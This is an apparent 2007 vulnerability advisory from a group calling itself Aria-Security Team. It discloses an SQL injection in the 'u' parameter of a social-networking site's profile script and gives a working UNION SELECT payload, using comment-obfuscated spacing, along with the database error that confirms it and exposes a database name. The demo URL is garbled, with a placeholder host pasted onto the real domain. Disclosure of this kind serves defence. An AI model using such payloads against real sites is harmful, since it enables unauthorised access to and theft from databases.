[Aria-Security Team] social-networkin SQL Injection

A R I A - S E C U R I T Y

http://www.social-networking.tv/
Demo: 
http://www.social-networking.tv/musicians/http://mytarget/profile/myprofile.php?u=[SQL]

We will just provide an example to show the result when an SQL command is given

http://mytarget/profile/myprofile.php?u=[SQL]-1/**/union/**/all/**/select/**/1/**/from/**/test

Result:
Table 'socialee_new.test' doesn't exist

Credits: Aria-Security Team
http://aria-security.net Received on Mon Sep 10 13:07:39 2007